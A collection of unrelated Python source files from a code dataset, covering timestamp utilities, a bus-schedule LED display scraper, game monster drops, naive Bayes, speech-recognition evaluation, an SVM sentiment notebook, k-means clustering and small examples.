start, end)\n (Timestamp('2019-01-01 12:00:00.000000001+0000', tz='UTC'), Timestamp('2019-01-01 13:00:00+0000', tz='UTC'))\n\n Instantaneous:\n\n >>> adjust_start_end_for_interval_label('instant', start, end)\n (Timestamp('2019-01-01 12:00:00+0000', tz='UTC'), Timestamp('2019-01-01 13:00:00+0000', tz='UTC'))\n\n >>> adjust_start_end_for_interval_label('instant', start, end,\n ... limit_instant=True)\n (Timestamp('2019-01-01 12:00:00+0000', tz='UTC'), Timestamp('2019-01-01 12:59:59.999999999+0000', tz='UTC'))\n\n \"\"\" # NOQA\n\n if (\n interval_label is not None and\n interval_label not in ('instant', 'beginning', 'ending')\n ):\n raise ValueError('Invalid interval_label')\n\n if (\n interval_label == 'beginning' or\n (interval_label == 'instant' and limit_instant)\n ):\n end -= pd.Timedelta(1, unit='nano')\n elif interval_label == 'ending':\n start += pd.Timedelta(1, unit='nano')\n return start, end\n\n\ndef adjust_timeseries_for_interval_label(data, interval_label, start, end):\n \"\"\"\n Adjusts the index of the data depending on the interval_label, start,\n and end. Will always return the data located between start, end.\n\n Parameters\n ----------\n data : pandas.Series or pandas.DataFrame\n The data with a localized DatetimeIndex\n interval_label : str or None\n The interval label for the the object the data represents\n start : pandas.Timestamp\n Start time to restrict data to\n end : pandas.Timestamp\n End time to restrict data to\n\n Returns\n -------\n pandas.Series or pandas.DataFrame\n Return data between start and end, in/excluding the endpoints\n depending on interval_label\n\n Raises\n ------\n ValueError\n If an invalid interval_label is given or data is not localized.\n \"\"\"\n start, end = adjust_start_end_for_interval_label(interval_label, start,\n end)\n data = data.sort_index(axis=0)\n # pandas >= 0.25.1 requires start, end to have same tzinfo.\n # unexpected behavior when data is not localized, so prevent that\n if data.empty:\n return data\n if data.index.tzinfo is None:\n raise ValueError('data must be localized')\n start = start.tz_convert(data.index.tzinfo)\n end = end.tz_convert(data.index.tzinfo)\n return data.loc[start:end]\n\n\ndef serialize_data(values):\n serialized_buf = pa.serialize(values).to_buffer()\n compressed_bytes = zlib.compress(serialized_buf)\n encoded = base64.b64encode(compressed_bytes)\n return encoded.decode('ascii') # bytes to str\n\n\ndef deserialize_data(data):\n compressed = base64.b64decode(data)\n serialized = zlib.decompress(compressed)\n values = pa.deserialize(serialized)\n return values\n\n\ndef serialize_raw_report(raw):\n bundle = {'metrics': raw.metrics,\n 'template': raw.template,\n 'metadata': raw.metadata.to_dict(),\n 'processed_forecasts_observations': [\n pfx.to_dict() for pfx in\n raw.processed_forecasts_observations]}\n return serialize_data(bundle)\n\n\ndef deserialize_raw_report(encoded_bundle, version=0):\n bundle = deserialize_data(encoded_bundle)\n return datamodel.RawReport.from_dict(bundle)\n\n\nclass HiddenToken:\n \"\"\"\n Obscure the representation of the input string `token` to avoid saving\n or displaying access tokens in logs.\n \"\"\"\n def __init__(self, token):\n self.token = str(token) # make sure it isn't a localproxy\n\n def __repr__(self):\n return '****ACCESS*TOKEN****'\n\n\ndef ensure_timestamps(*time_args):\n \"\"\"\n Decorator that converts the specified time arguments of the wrapped\n function to pandas.Timestamp objects\n\n Parameters\n ----------\n strings\n Function arguments to convert to pandas.Timestamp before\n executing function\n\n Raises\n ------\n ValueError\n If any of time_args cannot be converted to pandas.Timestamp\n\n Examples\n --------\n .. testsetup::\n\n import datetime as dt\n from solarforecastarbiter.io.utils import *\n\n >>> @ensure_timestamps('start', 'end')\n ... def get_values(start, end, other_arg):\n ... # do stuff with start, end assumed to be pandas.Timestamps\n ... if isinstance(start, pd.Timestamp):\n ... return True\n\n >>> get_values('2019-01-01T00:00Z', dt.datetime(2019, 1, 2, 12), 'other')\n True\n \"\"\"\n def decorator(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n sig = signature(f)\n inds = {k: None for k in time_args}\n for i, k in enumerate(sig.parameters.keys()):\n if k in inds:\n inds[k] = i\n nargs = list(args)\n for k, ind in inds.items():\n if k in kwargs:\n kwargs[k] = pd.Timestamp(kwargs[k])\n elif ind is not None:\n nargs[ind] = pd.Timestamp(args[ind])\n return f(*nargs, **kwargs)\n return wrapper\n return decorator\n","sub_path":"solarforecastarbiter/io/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"409038625","text":"#!/usr/bin/env python\n# Display a runtext with double-buffering.\nfrom samplebase import SampleBase\nfrom rgbmatrix import graphics\nfrom bs4 import BeautifulSoup\nfrom operator import itemgetter\nimport datetime\nimport time\nimport re\nimport urllib3\n\ndef station_to_num(destination):\n station_name_dictionary = {\"北浦和\" : 0, \"南与野\" : 1}\n station_name = re.findall(\"北浦和|南与野\", destination)\n return station_name_dictionary[station_name[0]]\n\ndef num_to_station(num):\n station_name_dictionary = {0: \"北浦和\", 1: \"南与野\"}\n return station_name_dictionary[num]\n\nclass RunText(SampleBase):\n def __init__(self, *args, **kwargs):\n super(RunText, self).__init__(*args, **kwargs)\n self.parser.add_argument(\"-t\", \"--text\", help=\"The text to scroll on the RGB LED panel\", default=\"Hello world!\")\n\n def run(self):\n start = time.time()\n print(start)\n offscreen_canvas = self.matrix.CreateFrameCanvas()\n #Number Font 7x14 font\n time_font = graphics.Font()\n time_font.LoadFont(\"../../fonts/7x14.bdf\")\n #Kanji&Hiragana Font <= Incomplete version\n kh_font = graphics.Font()\n kh_font.LoadFont(\"../../fonts/KH-Dot-kagurazakautf-12.bdf\")\n #Schedule Time Color : Chartreuse\n sch_textColor = graphics.Color(127, 220, 0)\n #Expected Time Color : Dark Orange\n exp_textColor = graphics.Color(230, 140, 0)\n #Destination Color : Yellow\n des_textColor = graphics.Color(200, 200, 0)\n pos = offscreen_canvas.width\n # Prepare\n http = urllib3.PoolManager()\n e_schedule = []\n e_expect = []\n e_delay = []\n e_destination = []\n p_schedule = []\n p_expect = []\n p_delay = []\n p_destination = []\n print(\"Into While Loop\")\n print(time.time()-start)\n while True:\n start = time.time()\n schedule = []\n expect = []\n destination = []\n company = []\n error = []\n e_schedule = []\n e_expect = []\n e_delay = []\n e_destination = []\n print(\"array prepared\")\n print(time.time()-start)\n # The same action as seibu.\n try:\n kokusai = http.request(\"GET\",\n \"\"\"http://www.kokusaibus.com/blsys/loca?VID=ldt&EID=nt&DSMK=15&DK=f_2gi_krib2u-f_2gi_kriau3-f_2gi_kriati-f_2gi_krib26-f_2gi_kriaub-f_2gi_1d0-f_2gi_krib06\"\"\")\n kokusai_soup = BeautifulSoup(kokusai.data.decode('Shift-JIS'), \"lxml\")\n kokusai_div = kokusai_soup.find(\"div\", {\"id\": \"mainContents\"})\n kokusai_table = kokusai_div.find(\"table\",\n {\"border\": \"0\", \"cellpadding\": \"0\", \"cellspacing\": \"1\",\n \"class\": \"R_Table\",\n \"width\": \"650\"})\n kokusai_tbody = kokusai_table.find(\"tbody\")\n kokusai_td = kokusai_tbody.find_all(\"td\") \n except AttributeError:\n # This error happens when bus is out of service.\n error.append(\"Kokusai Kougyou bus is out of service\")\n \n except (urllib3.exceptions.MaxRetryError, urllib3.exceptions.NewConnectionError):\n # These error happen when device is disconnected with internet.\n error.append(\"Internet disconnected\")\n \n except Exception as e:\n # This except syntax covers all errors except fot AttirbuteErrpr and (urllib3.exceptions...Error).\n error.append([\"In\" + company + \"Error\", type(e), str(e.args), str(e)])\n \n else:\n for i in range(0, len(kokusai_td), 6):\n schedule.append(kokusai_td[i].get_text())\n expect.append(kokusai_td[i + 1].get_text())\n destination.append(station_to_num(kokusai_td[i + 3].get_text()))\n company.append(\"K\")\n error.append(\"None\")\n print(\"Finished to fetch kokusai bus data\")\n print(time.time()-start)\n start = time.time()\n # Try to fetch data of running buses currently from seibu bus.\n try:\n seibu = http.request(\"GET\",\n \"\"\"http://loca.seibubus.co.jp/seibuloca/navi?VID=ldt&EID=nt&UKD=1&DSMK=120179&DK=3lbj_3e0_1705mm-3lbj_3e0_1705ji-3lbj_3e0_1705ge\"\"\")\n seibu_soup = BeautifulSoup(seibu.data, \"lxml\")\n seibu_table = seibu_soup.find(\"table\",\n {\"width\": \"760\", \"cellpadding\": \"0\", \"cellspacing\": \"0\", \"class\": \"src-dia\"})\n seibu_td = seibu_table.find_all(\"td\")\n \n # If try section got this error, execute this excepts.\n except AttributeError:\n # This error happens when bus is out of service.\n error.append(\"Seibu bus is out of service\")\n \n # If try section got error, executes this excepts.\n except (urllib3.exceptions.MaxRetryError, urllib3.exceptions.NewConnectionError):\n # These error happen when device is disconnected with internet.\n error.append(\"Internet disconnected\")\n \n # If try section got unexpected error, record the error.\n except Exception as e:\n # This except syntax covers all errors except fot AttirbuteErrpr and (urllib3.exceptions...Error).\n error.append([\"In\" + company + \"Error\", type(e), str(e.args), str(e)])\n # If try section got no error, execute following section.\n else:\n # print(seibu_td)\n for i in range(0, len(seibu_td), 7):\n schedule.append(seibu_td[i].get_text())\n expect.append(seibu_td[i + 1].get_text())\n destination.append(station_to_num(seibu_td[i + 5].get_text()))\n company.append(\"S\")\n error.append(\"None\")\n \n for i in range(0, len(schedule)):\n schedule_string = re.findall(\"\\d[0-9]\", schedule[i])\n expect_string = re.findall(\"\\d[0-9]\", expect[i])\n if len(expect_string) == 0:\n schedule[i] = datetime.time(hour=int(schedule_string[0]), minute=int(schedule_string[1]), second=0,\n microsecond=0)\n expect[i] = None\n else:\n schedule[i] = datetime.time(hour=int(schedule_string[0]), minute=int(schedule_string[1]), second=0,\n microsecond=0)\n expect[i] = datetime.time(hour=int(expect_string[0]), minute=int(expect_string[1]), second=0, microsecond=0)\n print(\"Finished to fetch seibu bus data\")\n print(time.time()-start)\n start = time.time()\n try:\n all_array = list(zip(schedule, expect, destination, company, error))\n all_array.sort(key=itemgetter(0))\n schedule, expect, destination, company, error = zip(*all_array)\n except ValueError:\n pass\n print(\"Finished to sort data\")\n print(time.time()-start)\n start = time.time()\n # For faster data procession in extracting data, this program obays following rule.\n # 1. destination_name\n # Kitaurawa : 0 (K, in variable name)\n # Minamiyono : 1 (M, in variable name)\n # 2. bus_company_name\n # Kokusaikougyou : K\n # Seibu : S\n fdd0t_or_f = 0 in destination\n fdd1t_or_f = 1 in destination\n \n if fdd0t_or_f and fdd1t_or_f:\n fdd0 = destination.index(0)\n fdd1 = destination.index(1)\n if fdd0 < fdd1:\n e_schedule.append(schedule[fdd0])\n e_expect.append(expect[fdd0])\n e_destination.append(num_to_station(destination[fdd0]))\n e_schedule.append(schedule[fdd1])\n e_expect.append(expect[fdd1])\n e_destination.append(num_to_station(destination[fdd1]))\n else:\n e_schedule.append(schedule[fdd1])\n e_expect.append(expect[fdd1])\n e_destination.append(num_to_station(destination[fdd1]))\n e_schedule.append(schedule[fdd0])\n e_expect.append(expect[fdd0])\n e_destination.append(num_to_station(destination[fdd0]))\n else:\n for i in range(0, 2):\n e_schedule.append(schedule[i])\n e_expect.append(expect[i])\n e_destination.append(num_to_station(destination[i]))\n TF_schedule = (p_schedule == e_schedule)\n TF_expect = (p_expect == e_expect)\n TF_destination = (p_destination == e_destination)\n if all([TF_destination, TF_expect, TF_schedule]):\n pass\n else:\n p_schedule = e_schedule\n p_expect = e_expect\n p_destination = e_destination\n p_delay = e_delay\n time.sleep(5)\n #schedule\n sche1 = e_schedule[0].strftime(\"%H:%M\") + \" \"\n sche2 = e_schedule[1].strftime(\"%H:%M\") + \" \"\n #expectation\n expt1 = e_expect[0].strftime(\"%H:%M\") + \" \"\n expt2 = e_expect[1].strftime(\"%H:%M\") + \" \"\n #destination\n dest1 = str(e_destination[0]) + \" \"\n dest2 = str(e_destination[1]) + \" \"\n offscreen_canvas.Clear()\n for i in range(0,60):\n len_dest1 = graphics.DrawText(offscreen_canvas, kh_font, 0, 14, des_textColor, dest1)\n len_dest2 = graphics.DrawText(offscreen_canvas, kh_font, 0, 28, des_textColor, dest2)\n pos -= 1\n time.sleep(3.0)\n offscreen_canvas = self.matrix.SwapOnVSync(offscreen_canvas)\n TORF = True\n time.sleep(1.0)\n while TORF:\n offscreen_canvas.Clear()\n #len1 = graphics.DrawText(offscreen_canvas, font, pos, 14, textColor, my_text)\n #len2 = graphics.DrawText(offscreen_canvas, font, pos, 28, textColor, my_text)\n len_sche1 = graphics.DrawText(offscreen_canvas, time_font, pos+len_dest1, 14, sch_textColor, sche1)\n len_sche2 = graphics.DrawText(offscreen_canvas, time_font, pos+len_dest2, 28, sch_textColor, sche2)\n len_expt1 = graphics.DrawText(offscreen_canvas, time_font, pos+len_dest1+len_sche1, 14, exp_textColor, expt1)\n len_expt2 = graphics.DrawText(offscreen_canvas, time_font, pos+len_dest2+len_sche2, 28, exp_textColor, expt2)\n pos -= 1\n if (pos + len_sche1 + len_expt1 + len_dest1 < 0 and pos + len_sche2 + len_expt2 + len_dest2 < 0):\n pos = offscreen_canvas.width\n time.sleep(0.08)\n offscreen_canvas = self.matrix.SwapOnVSync(offscreen_canvas)\n TORF = (pos + len_sche1 + len_expt1 + len_dest1 > 0) or (pos + len_sche2 + len_expt2 + len_dest2 > 0)\n time.sleep(2)\n\n# Main function\nif __name__ == \"__main__\":\n run_text = RunText()\n if (not run_text.process()):\n run_text.print_help()\n","sub_path":"runtext1.py","file_name":"runtext1.py","file_ext":"py","file_size_in_byte":11680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459538288","text":"import random\r\nimport items\r\n\r\nclass root_of_monsters:\r\n def item_drop(self):\r\n rand = random.randrange(1,1000,1)\r\n dropped_list=[]\r\n \r\n for queue in self.drop_list:\r\n if rand%queue[0] == 0:\r\n dropped_list.append(queue)\r\n return dropped_list\r\n\r\nclass duck(root_of_monsters):\r\n def __init__(self):\r\n self.name = \"duck\"\r\n self.health = 45\r\n self.power = 4\r\n self.monster_level = 1\r\n\r\n #drop_rate, type, name\r\n self.drop_list = [\r\n [5, 'food', 'weak_meat'],\r\n [13, 'coins', 'duck_coin'],\r\n [47, 'wearable', 'old_maul'],\r\n [49, 'wearable', 'old_staff'],\r\n [3, 'junk', 'dirth']\r\n ]\r\n\r\n\r\nclass wild_bear(root_of_monsters):\r\n def __init__(self):\r\n self.name = \"wild_bear\"\r\n self.health = 60\r\n self.power = 6\r\n self.monster_level = 1\r\n\r\n #drop_rate, type, name\r\n self.drop_list = [\r\n [5, 'food', 'weak_meat'],\r\n [13, 'coins', 'wild_coin'],\r\n [43, 'wearable', 'old_maul'],\r\n [41, 'wearable', 'old_staff'],\r\n [3, 'junk', 'dirth'],\r\n [4, 'elixir', 'weak_potion']\r\n ]\r\n\r\nfirst = duck()\r\nprint(first.item_drop())\r\n","sub_path":"monsters.py","file_name":"monsters.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"475709635","text":"import random\n\n\ndef splitDataset(dataset: list) -> (list, list):\n random.shuffle(dataset)\n div = int(len(dataset) * 0.7)\n return dataset[:div], dataset[div:]\n\n\ndef getProbByKeyValue(dataset, key, value):\n count = 0\n for data in dataset:\n if data[key] == value:\n count += 1\n return count / len(dataset)\n\n\ndef getProbPrevKeyValue(dataset, key1, value1, key2, value2):\n # get P(key2|key1)\n count1 = 0\n count2 = 0\n for data in dataset:\n if data[key1] > value1:\n count1 += 1\n if data[key2] > value2:\n count2 += 1\n return count2 / count1\n\n\nif __name__ == \"__main__\":\n with open('./src/others/titanic.dat', 'r') as f:\n dataset = [\n dict(zip(\n ['Class', 'Age', 'Sex', 'Survived'],\n [float(x) for x in line.split(',')]\n )) for line in f if '@' not in line\n ]\n\n for i in range(10):\n training, testing = splitDataset(dataset)\n prob_y = getProbByKeyValue(training, 'Survived', 1)\n prob_n = getProbByKeyValue(training, 'Survived', -1)\n for test in testing:\n for key, value in test:\n prob_y *= getProbPrevKeyValue(training, )\n","sub_path":"src/others/native-bayes.py","file_name":"native-bayes.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188136093","text":"#! python \n# @Time : 17-9-26\n# @Author : kay\n# @File : eva_template_standard.py\n# @E-mail : 861186267@qq.com\n# @Function:\n\nfrom glob import iglob\nimport sys\n\nsys.path.append('../')\nsys.dont_write_bytecode = True\n\nimport datetime\nfrom utils.utils import *\nfrom model.ori_bilstm import ExtractorLSTM\nfrom tensorflow.python.platform import flags\nfrom decoder.ctc_beam_search import *\nfrom decoder.edit_distance import *\nfrom model.rew_bilstm import *\n\n\nnp.set_printoptions(threshold=10000000000, linewidth=10000000000000)\n\nflags.DEFINE_string('utter_dataset', 'utterances', 'set the template dataset')\n\nflags.DEFINE_string('level', 'phn', 'set the task level, phn, cha, or seq2seq, seq2seq will be supported soon')\nflags.DEFINE_string('model', 'ExtractorLSTM', 'set the model to use, DBiRNN, BiRNN, ResNet..')\n\nflags.DEFINE_integer('batch_size', 1, 'set the batch size')\nflags.DEFINE_integer('num_hidden', 128, 'set the hidden size of rnn cell')\nflags.DEFINE_integer('num_feature', 40, 'set the size of input feature')\nflags.DEFINE_integer('num_classes', 70, 'set the number of output classes')\n\nflags.DEFINE_string('datadir', '/home/kay/Desktop/ctc/resource/code/python/data', 'set the pos root directory')\nflags.DEFINE_string('logdir', '/home/kay/Desktop/ctc/resource/code/python/data', 'set the log directory')\n\nFLAGS = flags.FLAGS\n\nutter_dataset = FLAGS.utter_dataset\nlevel = FLAGS.level\nmodel_fn = ExtractorLSTM\n\nbatch_size = FLAGS.batch_size\nnum_hidden = FLAGS.num_hidden\nnum_feature = FLAGS.num_feature\nnum_classes = FLAGS.num_classes\ndatadir = FLAGS.datadir\n\nlogdir = FLAGS.logdir\nsavedir = os.path.join(logdir, level, 'save')\nresultdir = os.path.join(logdir, level, 'result')\nloggingdir = os.path.join(logdir, level, 'logging')\ncheck_path_exists([logdir, savedir, resultdir, loggingdir])\n\nlogfile = os.path.join(loggingdir, str(datetime.datetime.strftime(datetime.datetime.now(),\n '%Y-%m-%d %H:%M:%S') + '.txt').replace(' ',\n '').replace(\n '/', ''))\n\n\ndef get_templates():\n \"\"\"\n function: get templates saved by users\n :return: templates\n \"\"\"\n template_dir = os.path.join(datadir, level, 'templates_standard')\n templates = []\n for index, temp_path in enumerate(iglob(os.path.join(template_dir, '**/**.npy'), recursive=True)):\n temp = np.load(temp_path)\n templates.append(temp)\n\n return templates\n\n\ndef get_utterances(datadir, level, utter_dataset):\n \"\"\"\n function: get utterances going to test\n :param datadir: the directory of utterances\n :param level: the default is phn\n :param utter_dataset: the subdirectory of utterances \n :return: the path list of utterances feature and labels\n \"\"\"\n feature_dirs = []\n label_dirs = []\n for idx, wav_path in enumerate(\n iglob(os.path.join(datadir, level, utter_dataset, 'feature', '**/**.npy'), recursive=True)):\n feature_dirs.append(wav_path)\n lab_path = wav_path.replace('feature', 'label')\n label_dirs.append(lab_path)\n\n return os.path.join(datadir, level, utter_dataset, 'feature', '**/**.npy'), os.path.join(datadir, level,\n utter_dataset, 'feature',\n '**/**.npy')\n\n\nclass Runner(object):\n def _default_configs(self):\n return {'model_fn': model_fn,\n 'batch_size': batch_size,\n 'num_hidden': num_hidden,\n 'num_feature': num_feature,\n 'num_classes': num_classes}\n\n def run(self):\n # load pos\n args_dict = self._default_configs()\n args = dotdict(args_dict)\n model = model_fn(args, 1)\n\n feature_dir = os.path.join(datadir, level, utter_dataset, 'feature')\n label_dir = os.path.join(datadir, level, utter_dataset, 'label')\n\n print('feature_dir:', feature_dir)\n print('label_dir:', label_dir)\n\n batchedData, maxTimeSteps, totalN = load_batched_data(feature_dir, label_dir, batch_size, level)\n print('len(batchedData):', len(batchedData))\n\n feva_result = os.path.join(resultdir, 'eva_utter.txt')\n if os.path.exists(feva_result):\n os.remove(feva_result)\n\n passcount = 0\n standard = 0\n phnslist = get_phns_list(num_classes)\n\n with tf.Session(graph=model.graph) as sess:\n for batch in batchedData:\n batchInputs, batchTargetSparse, batchSeqLengths = batch\n\n # params_path = os.path.join(os.getcwd(), '../', 'parameter', 'ctc_parameters.txt')\n # print('params_path:', params_path)\n # fparams = open(params_path, 'r')\n # params = []\n # for param in fparams.readlines():\n # print('param:', np.shape(param))\n # params.append(param)\n\n ckpt = tf.train.get_checkpoint_state(savedir)\n model.saver.restore(sess, ckpt.model_checkpoint_path)\n\n params = sess.run(model.var_trainable_op)\n logits2d = QbyENetwork(batchInputs, params, num_hidden, num_classes)\n\n beam_result_log = ctc_beam_search_decoder_log(\n probs_seq=logits2d,\n beam_size=1,\n vocabulary=phnslist,\n blank_id=len(phnslist),\n cutoff_prob=1.0)\n\n print(beam_result_log)\n\n pres_ = [int(item) for item in beam_result_log[0][1].split('_')[1:]]\n pres_list = list(pres_)\n\n print('pres_:', pres_)\n print('pres_list:', pres_list)\n\n spos = 0 # start pos remove silence\n epos = len(pres_list) # end pos remove silence\n if epos == 0:\n print('pres_list is null')\n continue\n\n if int(pres_list[0]) == 0:\n spos = 1\n if int(pres_list[epos - 1]) == 0:\n epos -= 1\n\n pre_ori = pres_[spos:epos]\n pre_list_ori = pres_list[spos:epos]\n pre_len = len(pre_list_ori)\n\n whone = 0\n tolerate = 0.35 # the toleration degree of length of prediction\n err = 0\n success = False\n templates = get_templates()\n for tag, temp in enumerate(templates):\n print('passcount:', passcount)\n # for temp in templates:\n whone = tag\n\n temp_ = temp\n temp_list = temp\n\n spos_ = 0 # start pos remove silence\n epos_ = len(temp_list) # end pos remove silence\n\n print('spos_:', spos_)\n print('epos_:', epos_)\n print('temp_list:', temp_list)\n\n if int(temp_list[0]) == 0:\n spos_ = 1\n\n if int(temp_list[epos_ - 1]) == 0:\n epos_ -= 1\n\n tmp_ori = temp_[spos_:epos_]\n tmp_list_ori = temp_list[spos_:epos_]\n tmp_len = len(tmp_list_ori)\n\n # standard is the threshold\n tole_len = np.ceil(tmp_len / 2) - 1\n standard = tole_len / tmp_len # + 0.001\n\n # the prediction is far shorter than template over the toleration\n if pre_len <= tmp_len * tolerate:\n continue\n\n # the predication is a bit shorter than template under the toleration\n elif pre_len <= tmp_len:\n err = edit_distance(pre_ori, tmp_ori)\n if err < standard:\n success = True\n passcount += 1\n break\n else:\n continue\n\n # the prediction is longer than template\n else:\n # whether target is in prediction or not\n if (''.join(map(repr, tmp_list_ori)) in ''.join(map(repr, pre_list_ori))):\n passcount += 1\n break\n\n else:\n # find the same element in prediction and template, then do comparison\n for i, atom in enumerate(tmp_list_ori):\n try:\n idx = pre_list_ori.index(atom)\n start = idx - i\n if start < 0:\n start = 0\n\n end = idx + tmp_len - i\n if end > pre_len:\n end = pre_len\n\n err = edit_distance(pres_[start + 1:end + 1], temp_[1:tmp_len + 1])\n\n if err < standard:\n success = True\n passcount += 1\n break\n else:\n continue\n\n except ValueError:\n continue\n\n if success:\n break\n\n with open(feva_result, 'a') as result:\n result.write(output_to_sequence(templates[whone], type=level) + '\\n')\n result.write(output_to_sequence(pres_list, type=level) + '\\n')\n result.write('standard:' + str(standard) + ', pErr:' + str(err) + ' ' + str(success) + '\\n')\n result.write('\\n')\n result.close()\n\n sess.close()\n print('passcount:', passcount)\n print('totalN:', totalN)\n print('percent:', passcount / totalN)\n\n\nif __name__ == '__main__':\n runner = Runner()\n runner.run()\n","sub_path":"code/evaluation/eva_template_standard.py","file_name":"eva_template_standard.py","file_ext":"py","file_size_in_byte":10345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"583828888","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\nimport pandas as pd\nimport numpy as np\nimport gensim\nimport codecs\n\n\n# In[64]:\n\n\nfrom sklearn import svm\nfrom sklearn import metrics\nfrom sklearn.externals import joblib\n\n\n# In[6]:\n\n\ndef getWordVecs(wordList,model):\n vecs = []\n for word in wordList:\n word = word.replace('\\n','')\n try:\n vecs.append(model[word])\n except KeyError:\n continue\n return np.array(vecs,dtype='float')\n\ndef buildVecs(data,model):\n new_vec = []\n for line in data:\n vecs = getWordVecs(line,model)\n if len(vecs) > 0:\n vecsArray = sum(np.array(vecs)) / len(vecs)\n new_vec.append(vecsArray)\n return new_vec\n\n\n# In[35]:\n\n\ndf = pd.read_csv('./data.csv')\ncontent = df['content'].tolist()\nsents = [eval(cont) for cont in content]\nprint(len(sents))\nlabels = df['label'].tolist()\nprint(len(labels))\n\n\n# In[33]:\n\n\nmodel = gensim.models.KeyedVectors.load_word2vec_format('semi.txt',binary=False)\n\n\n# In[45]:\n\n\ndata_vec = []\ndata_label = []\nfor i in range(len(sents)):\n senl= []\n sent = sents[i]\n for word in sent:\n try:\n senl.append(model[word])\n except KeyError:\n continue\n \n sen_arr = np.array(senl,dtype='float')\n# print(sen_arr.shape)\n if sen_arr.shape[0] > 0:\n sen_mean = sum(np.array(sen_arr)) / len(sen_arr)\n data_vec.append(sen_mean)\n data_label.append(labels[i])\n\n\n# In[46]:\n\n\nprint(len(data_vec))\nprint(len(data_label))\n\n\n# In[47]:\n\n\ndata_vec[0]\n\n\n# In[48]:\n\n\ndata_label[0]\n\n\n# In[51]:\n\n\nclf = svm.SVC(C=2,probability=True)\nclf.fit(data_vec,data_label)\n\n\n# In[52]:\n\n\nclf.score(data_vecec,data_label)\n\n\n# In[53]:\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[63]:\n\n\nprint(np.array(data_vec).shape)\npred_probas = clf.predict_proba(data_vec)[:,1]\nprint(pred_probas.shape)\nfpr,tpr,_ = metrics.roc_curve(data_label,pred_probas)\nroc_auc = metrics.auc(fpr,tpr)\nplt.plot(fpr, tpr, label = 'area = %.2f' % roc_auc)\nplt.plot([0, 1], [0, 1], 'k--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.legend(loc = 'lower right')\nplt.show()\n\n\n# In[65]:\n\n\njoblib.dump(clf,'semi_mode.m')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"641957845","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass KMeans(object):\n def __init__(self, num_cluster):\n self.num_cluster = num_cluster\n\n def init(self, vectors):\n self.vectors = vectors\n self.num_vectors, self.dim = vectors.shape\n self.membership = np.random.randint(0, self.num_cluster, size=self.num_vectors)\n self.centroids = np.zeros(shape=(self.num_cluster, self.dim))\n self.update_centroid()\n\n def update_centroid(self):\n for k in range(self.num_cluster):\n self.centroids[k] = np.mean(self.get_vecs_clsuter_k(k), axis=0)\n\n def calc_loss(self):\n ret = 0\n for k in range(self.num_cluster):\n ret += np.sum((self.get_vecs_clsuter_k(k) - self.centroids[k]) ** 2)\n return ret\n\n def get_vecs_clsuter_k(self, k):\n return self.vectors[self.membership == k]\n\n def plot(self, ax):\n colormap = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n for k in range(self.num_cluster):\n ret =self.get_vecs_clsuter_k(k)\n x = ret[:, 0]\n y = ret[:, 1]\n ax.scatter(x, y, color=colormap[k], s=4)\n\n\n def iter_once(self):\n for n in range(self.num_vectors):\n ret = np.sum((self.centroids - self.vectors[n]) ** 2, axis=1)\n self.membership[n] = np.argmin(ret)\n self.update_centroid()\n\n def iterate(self, num_iter):\n fig, axes = plt.subplots(1, num_iter)\n for iter in range(num_iter):\n self.iter_once()\n print(\"loss: %0.2f\" % self.calc_loss())\n self.plot(axes[iter])\n plt.show()\n\ndef get_random_samples(size=5000):\n half_size = size // 2\n r = np.random.random()\n x_0 = np.random.normal(-3, 1, size=half_size)\n x_1 = np.random.normal(3, 1, size=half_size)\n y_0 = np.random.normal(-3, 1, size=half_size)\n y_1 = np.random.normal(3, 1, size=half_size)\n x = np.hstack([x_0, x_1])\n np.random.shuffle(x)\n y = np.hstack([y_0, y_1])\n np.random.shuffle(y)\n return np.vstack([x, y]).T\n\ndef main():\n \"\"\"\n import pickle\n with open(\"../data/item_factors.pkl\", \"rb\") as f:\n item_factors = pickle.load(f)\n \"\"\"\n data = get_random_samples(10000)\n plt.scatter(data[:, 0], data[:, 1])\n plt.show()\n print(data.shape)\n model = KMeans(4)\n model.init(data)\n model.iterate(5)\nif __name__ == \"__main__\":\n main()\n","sub_path":"clustering/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351289879","text":"# Stat with a class\nclass Person():\n def __init__(self, fornavn, efternavn, telefon):\n self.fornavn = fornavn\n self.efternavn = efternavn\n self.telefon = telefon\n\n# The list can be created and objects added at the same time\npersoner = list([Person(\"Hans\", \"Petersen\", \"123123123\"),\n Person(\"Ole\", \"Nielsen\", \"456456456\")])\n\n# Append another object to the list\npersoner.append(Person(\"Svend\", \"Olsen\", \"234234234\"))\n\n# Create a object and then append to the list\nperson = Person(\"Ib\", \"Clausen\", \"765765765\")\npersoner.append(person)\n\n# Lets see what we got - nicely formatted in columns\nfor p in personer:\n print(\"{: <10}{: <10}{: <10}\".format(p.fornavn, p.efternavn, p.telefon))","sub_path":"Apps/List_of_objects.py","file_name":"List_of_objects.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192521165","text":"\n\n\n\npoint_could=\"point_cloud.xyz\"\n\n\n\nfile=open(point_could,\"r\")\n\ndata=file.readlines()\n\narray=[]\nfor q in data:\n temp=q.split(\" \")\n x=float(temp[0])\n y=float(temp[1])\n z=float(temp[2])\n if z>0.2:\n\n 